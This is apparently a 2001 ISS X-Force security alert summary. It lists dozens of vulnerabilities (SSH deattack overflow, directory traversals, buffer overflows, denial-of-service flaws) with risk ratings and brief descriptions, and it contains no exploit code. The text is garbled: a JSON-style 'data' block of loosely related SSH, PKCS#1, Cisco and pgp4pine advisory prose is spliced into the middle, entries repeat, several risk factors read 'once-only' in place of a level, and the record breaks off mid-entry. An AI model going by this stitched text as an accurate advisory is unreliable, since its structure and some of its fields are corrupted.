Date Reported: 2/8/01 Vulnerability: lotus-notes-stored-forms Platforms Affected: Lotus Notes Risk Factor: High Attack Type: Network/Host Based Brief Description: Lotus Notes stored forms X-Force URL: http://xforce.iss.net/static/6087.php

Date Reported: 2/8/01 Vulnerability: linux-ptrace-modify-process Platforms Affected: Linux Risk Factor: High Attack Type: Host Based Brief Description: Linux kernel ptrace modify process X-Force URL: http://xforce.iss.net/static/6080.php

Date Reported: 2/8/01 Vulnerability: ssh-deattack-overwrite-memory Platforms Affected: SSH Risk Factor: High Attack Type: Network/Host Based Brief Description: SSH protocol 1.5 deattack.c allows memory to be overwritten X-Force URL: http://xforce.iss.net/static/6083.php

Date Reported: 2/7/01 Vulnerability: dc20ctrl-port-bo Platforms Affected: FreeBSD Risk Factor: Medium Attack Type: Host Based Brief Description: FreeBSD dc20ctrl port buffer overflow X-Force URL: http://xforce.iss.net/static/6077.php

Date Reported: 2/7/01 Vulnerability: ja-xklock-bo Platforms Affected: FreeBSD Risk Factor: High Attack Type: Host Based Brief Description: ja-xklock buffer overflow X-Force URL: http://xforce.iss.net/static/6073.php

Date Reported: 2/7/01 Vulnerability: ja-elvis-elvrec-bo Platforms Affected: FreeBSD Risk Factor: High Attack Type: Host Based Brief Description: FreeBSD ja-elvis port buffer overflow X-Force URL: http://xforce.iss.net/static/6074.php

Date Reported: 2/7/01 Vulnerability: ko-helvis-elvrec-bo Platforms Affected: FreeBSD Risk Factor: High Attack Type: Host Based Brief Description: FreeBSD ko-helvis port buffer overflow X-Force URL: http://xforce.iss.net/static/6075.php

Date Reported: 2/7/01 Vulnerability: serverworx-directory-traversal Platforms Affected: ServerWorx Risk Factor: Medium Attack Type: Network Based Brief Description: ServerWorx directory traversal X-Force URL: http://xforce.iss.net/static/6081.php

Date Reported: 2/7/01 Vulnerability: ntlm-ssp-elevate-privileges Platforms Affected: NTLM Risk Factor: High Attack Type: Host Based Brief Description: NTLM Security Support Provider could allow elevation of privileges X-Force URL: http://xforce.iss.net/static/6076.php

Date Reported: 2/7/01 Vulnerability: ssh-session-key-recovery Platforms Affected: SSH Risk Factor: High Attack Type: Network/Host Based Brief Description: SSH protocol 1.5 session key recovery X-Force URL: http://xforce.iss.net/static/6082.php

Date Reported: 2/6/01 Vulnerability: aolserver-directory-traversal Platforms Affected: AOLserver Risk Factor: Medium Attack Type: Network Based Brief Description: AOLserver directory traversal X-Force URL: http://xforce.iss.net/static/6069.php

Date Reported: 2/6/01 Vulnerability: chilisoft-asp-elevate-privileges Platforms Affected: Chili!Soft Risk Factor: High Attack Type: Network/Host Based Brief Description: Chili!Soft ASP could allow elevated privileges X-Force URL: http://xforce.iss.net/static/6072.php

Date Reported: 2/6/01 Vulnerability: win-udp-dos Platforms Affected: Windows Risk Factor: Medium Attack Type: Network/Host Based Brief Description: Windows UDP socket denial of service X-Force URL: http://xforce.iss.net/static/6070.php

Date Reported: 2/5/01 Vulnerability: ssh-daemon-failed-login Platforms Affected: SSH Risk Factor: High Attack Type: Network/Host Based Brief Description: SSH daemon failed login attempts are not logged X-Force URL: http://xforce.iss.net/static/6071.php

Date Reported: 2/5/01 Vulnerability: picserver-directory-traversal Platforms Affected: PicServer Risk Factor: Medium Attack Type: Network Based Brief Description: PicServer directory traversal X-Force URL: http://xforce.iss.net/static/6065.php

Date Reported: 2/5/01 Vulnerability: biblioweb-directory-traversal Platforms Affected: BiblioWeb Risk Factor: Medium Attack Type: Network Based Brief Description: BiblioWeb Server directory traversal X-Force URL: http://xforce.iss.net/static/6066.php

Date Reported: 2/5/01 Vulnerability: biblioweb-get-dos Platforms Affected: BiblioWeb Risk Factor: Low Attack Type: Network Based Brief Description: BiblioWeb Server GET request denial of service X-Force URL: http://xforce.iss.net/static/6068.php

Date Reported: 2/5/01 Vulnerability: ibm-netcommerce-reveal-information Platforms Affected: IBM Risk Factor: Medium Attack Type: Network/Host Based Brief Description: IBM Net.Commerce could reveal sensitive information X-Force URL: http://xforce.iss.net/static/6067.php

Date Reported: 2/5/01 Vulnerability: win-dde-elevate-privileges Platforms Affected: Windows DDE Risk Factor: High Attack Type: Host Based Brief Description: Windows DDE can allow the elevation of privileges X-Force URL: http://xforce.iss.net/static/6062.php

Date Reported: 2/4/01 Vulnerability: hsweb-directory-browsing Platforms Affected: HSWeb Risk Factor: Low Attack Type: Network Based Brief Description: HSWeb Web Server allows attacker to browse directories X-Force URL: http://xforce.iss.net/static/6061.php

Date Reported: 2/4/01 Vulnerability: sedum-directory-traversal Platforms Affected: SEDUM Risk Factor: Medium Attack Type: Network Based Brief Description: SEDUM HTTP Server directory traversal X-Force URL: http://xforce.iss.net/static/6063.php

Date Reported: 2/4/01 Vulnerability: free-java-directory-traversal Platforms Affected: Free Java Risk Factor: Medium Attack Type: Network Based Brief Description: Free Java Web Server directory traversal X-Force URL: http://xforce.iss.net/static/6064.php

Date Reported: 2/2/01 Vulnerability: goahead-directory-traversal Platforms Affected: GoAhead Risk Factor: High Attack Type: Network Based Brief Description: GoAhead Web Server directory traversal X-Force URL: http://xforce.iss.net/static/6046.php

Date Reported: 2/2/01 Vulnerability: gnuserv-tcp-cookie-overflow Platforms Affected: Gnuserv Risk Factor: High Attack Type: Network/Host Based Brief Description: Gnuserv TCP enabled cookie buffer overflow X-Force URL: http://xforce.iss.net/static/6056.php

Date Reported: 2/2/01 Vulnerability: xmail-ctrlserver-bo Platforms Affected: Xmail CTRLServer Risk Factor: High Attack Type: Network Based Brief Description: XMail CTRLServer buffer overflow X-Force URL: http://xforce.iss.net/static/6060.php

Date Reported: 2/2/01 Vulnerability: netscape-webpublisher-acl-permissions Platforms Affected: Netscape Web Publisher Risk Factor: Medium Attack Type: Network Based Brief Description: Netcape Web Publisher poor ACL permissions X-Force URL: http://xforce.iss.net/static/6058.php

Date Reported: 2/1/01 Vulnerability: cups-httpgets-dos Platforms Affected: CUPS Risk Factor: High Attack Type: Host Based Brief Description: CUPS httpGets() function denial of service X-Force URL: http://xforce.iss.net/static/6043.php

Date Reported: 2/1/01 Vulnerability: prospero-get-pin Platforms Affected: Prospero Risk Factor: High Attack Type: Network/Host Based Brief Description: Prospero GET request reveals PIN information X-Force URL: http://xforce.iss.net/static/6044.php

Date Reported: 2/1/01 Vulnerability: prospero-weak-permissions Platforms Affected: Prospero Risk Factor: High Attack Type: Network/Host Based Brief Description: Prospero uses weak permissions X-Force URL: http://xforce.iss.net/static/6045.php

Risk Factor Key:

    High    Any vulnerability that provides an attacker with immediate
            access into a machine, gains superuser access, or bypasses
            a firewall.  Example:  A vulnerable Sendmail 8.6.5 version
            that allows an intruder to execute commands on mail
            server. 
    Medium  Any vulnerability that provides information that has a
            high potential of giving system access to an intruder. 
            Example: A misconfigured TFTP or vulnerable NIS server
            that allows an intruder to get the password file that
            could contain an account with a guessable password. 
    Low     Any vulnerability that provides information that
            potentially could lead to a compromise.  Example:  A
            finger that allows an intruder to find out who is online
            and potential accounts to attempt to crack passwords
            via brute force methods.

ISS is a leading global provider of security management solutions for e-business. By offering best-of-breed SAFEsuite(tm) security software, comprehensive ePatrol(tm) monitoring services and industry-leading expertise, ISS serves as its customers' trusted security provider protecting digital assets and ensuring the availability, confidentiality and integrity of computer systems and information critical to e-business success. ISS' security management solutions protect more than 5,000 customers including 21 of the 25 largest U.S. commercial banks, 9 of the 10 largest telecommunications companies and over 35 government agencies. Founded in 1994, ISS is headquartered in Atlanta, GA, with additional offices throughout North America and international operations in Asia, Australia, Europe and Latin America. For more information, visit the ISS Web site at www.iss.net or call 800-776-2362.

Copyright (c) 2001 by Internet Security Systems, Inc.

Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of the X-Force. If you wish to reprint the whole or any part of this Alert in any other medium excluding electronic medium, please e-mail xforce@iss.net for permission.

Disclaimer

The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.

X-Force PGP Key available at: http://xforce.iss.net/sensitive.php as well as on MIT's PGP key server and PGP.com's key server.

Please send suggestions, updates, and comments to: X-Force xforce@iss.net of Internet Security Systems, Inc.

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    "data": "Implementations of SSH version 1.5, including (1) OpenSSH up to version 2.3.0, (2) AppGate, and (3) ssh-1 up to version 1.2.31, in certain configurations, allow a remote attacker to decrypt and/or alter traffic via a \"Bleichenbacher attack\" on PKCS#1 version 1.5. An implementation problem in at least one Secure Shell (SSH) product and a weakness in the PKCS#1_1.5 public key encryption standard allows attackers to recover plaintext of messages encrypted with SSH. Multiple Cisco networking products contain a denial-of-service vulnerability. There is an information integrity vulnerability in the SSH1 protocol that allows packets encrypted with a block cipher to be modified without notice. There is a remote integer overflow vulnerability in several implementations of the SSH1 protocol that allows an attacker to execute arbitrary code with the privileges of the SSH daemon, typically root. The program pgp4pine version 1.75.6 fails to properly identify expired keys when working with the Gnu Privacy Guard program (GnuPG). This failure may result in the clear-text transmission of senstive information when used with the PINE mail reading package. The SEDUM web server permits intruders to access files outside the web root.  SSH or code based on SSH is used by many systems all over the world and in a wide variety of commercial applications.  An integer-overflow bug in the CRC32 compensation attack detection code may allow remote attackers to write values to arbitrary locations in memory. \nThis would occur in situations where large SSH packets are recieved by either a client or server, and a 32 bit representation of the SSH packet length is assigned to a 16 bit integer.  The difference in data representation in these situations will cause the 16 bit variable to be assigned to zero (or a really low value). \nAs a result, future calls to malloc() as well as an index used to reference locations in memory can be corrupted by an attacker.  This could occur in a manner that can be exploited to write certain numerical values to almost arbitrary locations in memory. \n**UPDATE**:\nThere have been reports suggesting that exploitation of this vulnerability may be widespread. \nSince early september, independent, reliable sources have confirmed that this vulnerability is being exploited by attackers on the Internet.  Security Focus does not currently have the exploit code being used, however this record will be updated if and when it becomes available. \nNOTE: Cisco 11000 Content Service Switch family is  vulnerable to this issue. All WebNS releases prior, but excluding, versions: 4.01 B42s, 4.10 22s, 5.0 B11s, 5.01 B6s, are vulnerable. \nSecure Computing SafeWord Agent for SSH is reportedly prone to this issue, as it is based on a vulnerable version of SSH. \n** NetScreen ScreenOS is not directly vulnerable to this issue, however the referenced exploit will cause devices using vulnerable versions of the software to stop functioning properly. This will result in a denial of service condition for NetScreen devices. This issue is in the Secure Command Shell (SCS) administrative interface, which is an implementation of SSHv1. SCS is not enabled on NetScreen devices by default. The data encryption techniques described in RSA\u0027s PKCS #1 standard are used in many protocols which rely on, at least in part, the security provided by public-key cryptography systems. \nSeveral protocols which implement the digital enveloping method described in version 1.5 of the PKCS #1 standard are susceptible to an adaptive ciphertext attack which may allow the recovery of session keys, thus compromising the integrity of the data transmitting during that session. \nBy capturing and logging the packets transmitted between a client and a server, an opponent could make use of a captured encrypted session key to launch a Bleichenbacher attack together with a simple timing attack.  If the session key is successfully decrypted, the saved packets can easily be decrypted in a uniform manner. \nInteractive key establishment protocols, such as SSH or SSL, are generally significantly more susceptible to successful attacks. \nCisco has reported that scanning for SSH vulnerabilities on affected devices will cause excessive CPU consumption.  The condition is due to a failure of the Cisco SSH implementation to properly process large SSH packets.  As many of these devices are critical infrastructure components, more serious network outages may occur. \nCisco has released upgrades that will eliminate this vulnerability.  An expired public key could cause GPG to fail the encryption of an outgoing message, without any error message or warning being delivered to the user.  As a result, the user could transmit data, meant to be encrypted, as plaintext. \nTO UNSUBSCRIBE: email \"unsubscribe alert\" in the body of your message to\nmajordomo@iss.net  Contact alert-owner@iss.net for help with any problems!\n---------------------------------------------------------------------------\n\n-----BEGIN PGP SIGNED MESSAGE-----\n\nISS X-Force has received reports that some individuals were unable to \nverify the PGP signature on the Security Alert Summary distributed earlier \nin the week. Due to this issue, X-Force is re-distributing the Security \nAlert Summary. We apologize for any inconvience this may have caused. \n\nInternet Security Systems Security Alert Summary\nMarch 5, 2001\nVolume 6 Number 4\n\nX-Force Vulnerability and Threat Database: http://xforce.iss.net/ To\nreceive these Alert Summaries as well as other Alerts and Advisories,\nsubscribe to the Internet Security Systems Alert mailing list at:\nhttp://xforce.iss.net/maillists/index.php\n\nThis summary can be found at http://xforce.iss.net/alerts/vol-6_num-4.php\n_____\n\nContents\n\n90 Reported Vulnerabilities\n\nRisk Factor Key\n\n_____\n\nDate Reported:          2/27/01\nVulnerability:          a1-server-dos\nPlatforms Affected:     A1 Server\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      A1 Server denial of service\nX-Force URL:            http://xforce.iss.net/static/6161.php\n\n_____\n\nDate Reported:          2/27/01\nVulnerability:          a1-server-directory-traversal\nPlatforms Affected:     A1 Server\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      A1 Server directory traversal\nX-Force URL:            http://xforce.iss.net/static/6162.php\n\n_____\n\nDate Reported:          2/27/01\nVulnerability:          webreflex-web-server-dos\nPlatforms Affected:     WebReflex\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      WebReflex Web server denial of service\nX-Force URL:            http://xforce.iss.net/static/6163.php\n\n_____\n\nDate Reported:          2/26/01\nVulnerability:          sudo-bo-elevate-privileges\nPlatforms Affected:     Sudo\nRisk Factor:            Medium\nAttack Type:            Host Based\nBrief Description:      Sudo buffer overflow could allow elevated user privileges\nX-Force URL:            http://xforce.iss.net/static/6153.php\n\n_____\n\nDate Reported:          2/26/01\nVulnerability:          mygetright-skin-overwrite-file\nPlatforms Affected:     My GetRight\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      My GetRight \u0027skin\u0027 allows remote attacker to overwrite existing files\nX-Force URL:            http://xforce.iss.net/static/6155.php\n\n_____\n\nDate Reported:          2/26/01\nVulnerability:          mygetright-directory-traversal\nPlatforms Affected:     My GetRight\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      My GetRight directory traversal\nX-Force URL:            http://xforce.iss.net/static/6156.php\n\n_____\n\nDate Reported:          2/26/01\nVulnerability:          win2k-event-viewer-bo\nPlatforms Affected:     Windows 2000\nRisk Factor:            once-only\nAttack Type:            Host Based\nBrief Description:      Windows 2000 event viewer buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6160.php\n\n_____\n\nDate Reported:          2/26/01\nVulnerability:          netscape-collabra-cpu-dos\nPlatforms Affected:     Netscape\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Netscape Collabra CPU denial of service\nX-Force URL:            http://xforce.iss.net/static/6159.php\n\n_____\n\nDate Reported:          2/26/01\nVulnerability:          netscape-collabra-kernel-dos\nPlatforms Affected:     Netscape\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Netscape Collabra Server kernel denial of service\nX-Force URL:            http://xforce.iss.net/static/6158.php\n\n_____\n\nDate Reported:          2/23/01\nVulnerability:          mercur-expn-bo\nPlatforms Affected:     MERCUR\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      MERCUR Mailserver EXPN buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6149.php\n\n_____\n\nDate Reported:          2/23/01\nVulnerability:          sedum-http-dos\nPlatforms Affected:     SEDUM\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      SEDUM HTTP server denial of service\nX-Force URL:            http://xforce.iss.net/static/6152.php\n\n_____\n\nDate Reported:          2/23/01\nVulnerability:          tru64-inetd-dos\nPlatforms Affected:     Tru64\nRisk Factor:            Medium\nAttack Type:            Host Based\nBrief Description:      Tru64 UNIX inetd denial of service\nX-Force URL:            http://xforce.iss.net/static/6157.php\n\n_____\n\nDate Reported:          2/22/01\nVulnerability:          outlook-vcard-bo\nPlatforms Affected:     Microsoft Outlook\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      Outlook and Outlook Express vCards buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6145.php\n\n_____\n\nDate Reported:          2/22/01\nVulnerability:          ultimatebb-cookie-member-number\nPlatforms Affected:     Ultimate Bulletin Board\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      Ultimate Bulletin Board cookie allows attacker to change member number\nX-Force URL:            http://xforce.iss.net/static/6144.php\n\n_____\n\nDate Reported:          2/21/01\nVulnerability:          ultimatebb-cookie-gain-privileges\nPlatforms Affected:     Ultimate Bulletin Board\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Ultimate Bulletin Board allows remote attacker to obtain cookie information\nX-Force URL:            http://xforce.iss.net/static/6142.php\n\n_____\n\nDate Reported:          2/21/01\nVulnerability:          sendmail-elevate-privileges\nPlatforms Affected:     Sendmail\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      Sendmail -bt command could allow the elevation of privileges\nX-Force URL:            http://xforce.iss.net/static/6147.php\n\n_____\n\nDate Reported:          2/21/01\nVulnerability:          jre-jdk-execute-commands\nPlatforms Affected:     JRE/JDK\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      JRE/JDK could allow unauthorized execution of commands\nX-Force URL:            http://xforce.iss.net/static/6143.php\n\n_____\n\nDate Reported:          2/20/01\nVulnerability:          licq-remote-port-dos\nPlatforms Affected:     LICQ\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      LICQ remote denial of service\nX-Force URL:            http://xforce.iss.net/static/6134.php\n\n_____\n\nDate Reported:          2/20/01\nVulnerability:          pgp4pine-expired-keys\nPlatforms Affected:     pgp4pine\nRisk Factor:            Medium\nAttack Type:            Host Based\nBrief Description:      pgp4pine may transmit messages using expired public keys\nX-Force URL:            http://xforce.iss.net/static/6135.php\n\n_____\n\nDate Reported:          2/20/01\nVulnerability:          chilisoft-asp-view-files\nPlatforms Affected:     Chili!Soft ASP\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      Chili!Soft ASP allows remote attackers to gain access to sensitive information\nX-Force URL:            http://xforce.iss.net/static/6137.php\n\n_____\n\nDate Reported:          2/20/01\nVulnerability:          win2k-domain-controller-dos\nPlatforms Affected:     Windows 2000\nRisk Factor:            once-only\nAttack Type:            Network/Host Based\nBrief Description:      Windows 2000 domain controller denial of service\nX-Force URL:            http://xforce.iss.net/static/6136.php\n\n_____\n\nDate Reported:          2/19/01\nVulnerability:          asx-remote-dos\nPlatforms Affected:     ASX Switches\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      ASX switches allow remote denial of service\nX-Force URL:            http://xforce.iss.net/static/6133.php\n\n_____\n\nDate Reported:          2/18/01\nVulnerability:          http-cgi-mailnews-username\nPlatforms Affected:     Mailnews.cgi\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      Mailnews.cgi allows remote attacker to execute shell commands using username\nX-Force URL:            http://xforce.iss.net/static/6139.php\n\n_____\n\nDate Reported:          2/17/01\nVulnerability:          badblue-ext-reveal-path\nPlatforms Affected:     BadBlue\nRisk Factor:            Low\nAttack Type:            Network Based\nBrief Description:      BadBlue ext.dll library reveals path\nX-Force URL:            http://xforce.iss.net/static/6130.php\n\n_____\n\nDate Reported:          2/17/01\nVulnerability:          badblue-ext-dos\nPlatforms Affected:     BadBlue\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      BadBlue ext.dll library denial of service\nX-Force URL:            http://xforce.iss.net/static/6131.php\n\n_____\n\nDate Reported:          2/17/01\nVulnerability:          moby-netsuite-bo\nPlatforms Affected:     Moby\u0027s NetSuite\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Moby\u0027s NetSuite Web server buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6132.php\n\n_____\n\nDate Reported:          2/16/01\nVulnerability:          webactive-directory-traversal\nPlatforms Affected:     WEBactive\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      WEBactive HTTP Server directory traversal\nX-Force URL:            http://xforce.iss.net/static/6121.php\n\n_____\n\nDate Reported:          2/16/01\nVulnerability:          esone-cgi-directory-traversal\nPlatforms Affected:     ES.One store.cgi\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Thinking Arts ES.One store.cgi directory traversal\nX-Force URL:            http://xforce.iss.net/static/6124.php\n\n_____\n\nDate Reported:          2/16/01\nVulnerability:          vshell-username-bo\nPlatforms Affected:     VShell\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      VShell username buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6146.php\n\n_____\n\nDate Reported:          2/16/01\nVulnerability:          vshell-port-forwarding-rule\nPlatforms Affected:     VShell\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      VShell uses weak port forwarding rule\nX-Force URL:            http://xforce.iss.net/static/6148.php\n\n_____\n\nDate Reported:          2/15/01\nVulnerability:          pi3web-isapi-bo\nPlatforms Affected:     Pi3Web\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      Pi3Web ISAPI tstisapi.dll denial of service\nX-Force URL:            http://xforce.iss.net/static/6113.php\n\n_____\n\nDate Reported:          2/15/01\nVulnerability:          pi3web-reveal-path\nPlatforms Affected:     Pi3Web\nRisk Factor:            Low\nAttack Type:            Network Based\nBrief Description:      Pi3Web reveals physical path of server\nX-Force URL:            http://xforce.iss.net/static/6114.php\n\n_____\n\nDate Reported:          2/15/01\nVulnerability:          bajie-execute-shell\nPlatforms Affected:     Bajie HTTP JServer\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      Bajie HTTP JServer execute shell commands\nX-Force URL:            http://xforce.iss.net/static/6117.php\n\n_____\n\nDate Reported:          2/15/01\nVulnerability:          bajie-directory-traversal\nPlatforms Affected:     Bajie HTTP JServer\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      Bajie HTTP JServer directory traversal\nX-Force URL:            http://xforce.iss.net/static/6115.php\n\n_____\n\nDate Reported:          2/15/01\nVulnerability:          resin-directory-traversal\nPlatforms Affected:     Resin\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Resin Web server directory traversal\nX-Force URL:            http://xforce.iss.net/static/6118.php\n\n_____\n\nDate Reported:          2/15/01\nVulnerability:          netware-mitm-recover-passwords\nPlatforms Affected:     Netware\nRisk Factor:            Low\nAttack Type:            Network Based\nBrief Description:      Netware \"man in the middle\" attack password recovery\nX-Force URL:            http://xforce.iss.net/static/6116.php\n\n_____\n\nDate Reported:          2/14/01\nVulnerability:          firebox-pptp-dos\nPlatforms Affected:     WatchGuard Firebox II\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      WatchGuard Firebox II PPTP denial of service\nX-Force URL:            http://xforce.iss.net/static/6109.php\n\n_____\n\nDate Reported:          2/14/01\nVulnerability:          hp-virtualvault-iws-dos\nPlatforms Affected:     HP VirtualVault\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      HP VirtualVault iPlanet Web Server denial of service\nX-Force URL:            http://xforce.iss.net/static/6110.php\n\n_____\n\nDate Reported:          2/14/01\nVulnerability:          kicq-execute-commands\nPlatforms Affected:     KICQ\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      kicq could allow remote execution of commands\nX-Force URL:            http://xforce.iss.net/static/6112.php\n\n_____\n\nDate Reported:          2/14/01\nVulnerability:          hp-text-editor-bo\nPlatforms Affected:     HPUX\nRisk Factor:            Medium\nAttack Type:            Host Based\nBrief Description:      HP Text editors buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6111.php\n\n_____\n\nDate Reported:          2/13/01\nVulnerability:          sendtemp-pl-read-files\nPlatforms Affected:     sendtemp.pl\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      sendtemp.pl could allow an attacker to read files on the server\nX-Force URL:            http://xforce.iss.net/static/6104.php\n\n_____\n\nDate Reported:          2/13/01\nVulnerability:          analog-alias-bo\nPlatforms Affected:     Analog ALIAS\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      Analog ALIAS command buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6105.php\n\n_____\n\nDate Reported:          2/13/01\nVulnerability:          elm-long-string-bo\nPlatforms Affected:     Elm\nRisk Factor:            Medium\nAttack Type:            Host Based\nBrief Description:      ELM -f command long string buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6151.php\n\n_____\n\nDate Reported:          2/13/01\nVulnerability:          winnt-pptp-dos\nPlatforms Affected:     Windows NT\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Windows NT PPTP denial of service\nX-Force URL:            http://xforce.iss.net/static/6103.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          startinnfeed-format-string\nPlatforms Affected:     Inn\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      Inn \u0027startinnfeed\u0027 binary format string attack\nX-Force URL:            http://xforce.iss.net/static/6099.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          his-auktion-cgi-url\nPlatforms Affected:     HIS Auktion\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      HIS Auktion CGI script could allow attackers to view unauthorized \n                        files or execute commands\nX-Force URL:            http://xforce.iss.net/static/6090.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          wayboard-cgi-view-files\nPlatforms Affected:     Way-BOARD\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Way-BOARD CGI could allow attackers to view unauthorized files\nX-Force URL:            http://xforce.iss.net/static/6091.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          muskat-empower-url-dir\nPlatforms Affected:     Musket Empower\nRisk Factor:            Low\nAttack Type:            Network/Host Based\nBrief Description:      Musket Empower could allow attackers to gain access to the DB directory path\nX-Force URL:            http://xforce.iss.net/static/6093.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          icq-icu-rtf-dos\nPlatforms Affected:     LICQ\n                        Gnome ICU\nRisk Factor:            Low\nAttack Type:            Network/Host Based\nBrief Description:      LICQ and Gnome ICU rtf file denial of service\nX-Force URL:            http://xforce.iss.net/static/6096.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          commerce-cgi-view-files\nPlatforms Affected:     Commerce.cgi\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Commerce.cgi could allow attackers to view unauthorized files\nX-Force URL:            http://xforce.iss.net/static/6095.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          roads-search-view-files\nPlatforms Affected:     ROADS\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      ROADS could allow attackers to view unauthorized files using search.pl program\nX-Force URL:            http://xforce.iss.net/static/6097.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          webpage-cgi-view-info\nPlatforms Affected:     WebPage.cgi\nRisk Factor:            Low\nAttack Type:            Network Based\nBrief Description:      WebPage.cgi allows attackers to view sensitive information\nX-Force URL:            http://xforce.iss.net/static/6100.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          webspirs-cgi-view-files\nPlatforms Affected:     WebSPIRS\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      WebSPIRS CGI could allow an attacker to view unauthorized files\nX-Force URL:            http://xforce.iss.net/static/6101.php\n\n_____\n\nDate Reported:          2/12/01\nVulnerability:          webpals-library-cgi-url\nPlatforms Affected:     WebPALS\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      WebPALS Library System CGI script could allow attackers to view \n                        unauthorized files or execute commands\nX-Force URL:            http://xforce.iss.net/static/6102.php\n\n_____\n\nDate Reported:          2/11/01\nVulnerability:          cobol-apptrack-nolicense-permissions\nPlatforms Affected:     MicroFocus Cobol\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      MicroFocus Cobol with AppTrack enabled with nolicense permissions\nX-Force URL:            http://xforce.iss.net/static/6092.php\n\n_____\n\nDate Reported:          2/11/01\nVulnerability:          cobol-apptrack-nolicense-symlink\nPlatforms Affected:     MicroFocus Cobol\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      MicroFocus Cobol with AppTrack enabled allows symlink in nolicense\nX-Force URL:            http://xforce.iss.net/static/6094.php\n\n_____\n\nDate Reported:          2/10/01\nVulnerability:          vixie-crontab-bo\nPlatforms Affected:     Vixie crontab\nRisk Factor:            Medium\nAttack Type:            Host Based\nBrief Description:      Vixie crontab buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6098.php\n\n_____\n\nDate Reported:          2/10/01\nVulnerability:          novell-groupwise-bypass-policies\nPlatforms Affected:     Novell GroupWise\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      Novell Groupwise allows user to bypass policies and view files\nX-Force URL:            http://xforce.iss.net/static/6089.php\n\n_____\n\nDate Reported:          2/9/01\nVulnerability:          infobot-calc-gain-access\nPlatforms Affected:     Infobot\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      Infobot \u0027calc\u0027 command allows remote users to gain access\nX-Force URL:            http://xforce.iss.net/static/6078.php\n\n_____\n\nDate Reported:          2/8/01\nVulnerability:          linux-sysctl-read-memory\nPlatforms Affected:     Linux\nRisk Factor:            Medium\nAttack Type:            Host Based\nBrief Description:      Linux kernel sysctl() read memory\nX-Force URL:            http://xforce.iss.net/static/6079.php\n\n_____\n\nDate Reported:          2/8/01\nVulnerability:          openssh-bypass-authentication\nPlatforms Affected:     OpenSSH\nRisk Factor:            High\nAttack Type:            Network/Host Based\nBrief Description:      OpenSSH 2.3.1 allows remote users to bypass authentication\nX-Force URL:            http://xforce.iss.net/static/6084.php\n\n_____\n\nDate Reported:          2/8/01\nVulnerability:          lotus-notes-stored-forms\nPlatforms Affected:     Lotus Notes\nRisk Factor:            High\nAttack Type:            Network/Host Based\nBrief Description:      Lotus Notes stored forms\nX-Force URL:            http://xforce.iss.net/static/6087.php\n\n_____\n\nDate Reported:          2/8/01\nVulnerability:          linux-ptrace-modify-process\nPlatforms Affected:     Linux\nRisk Factor:            High\nAttack Type:            Host 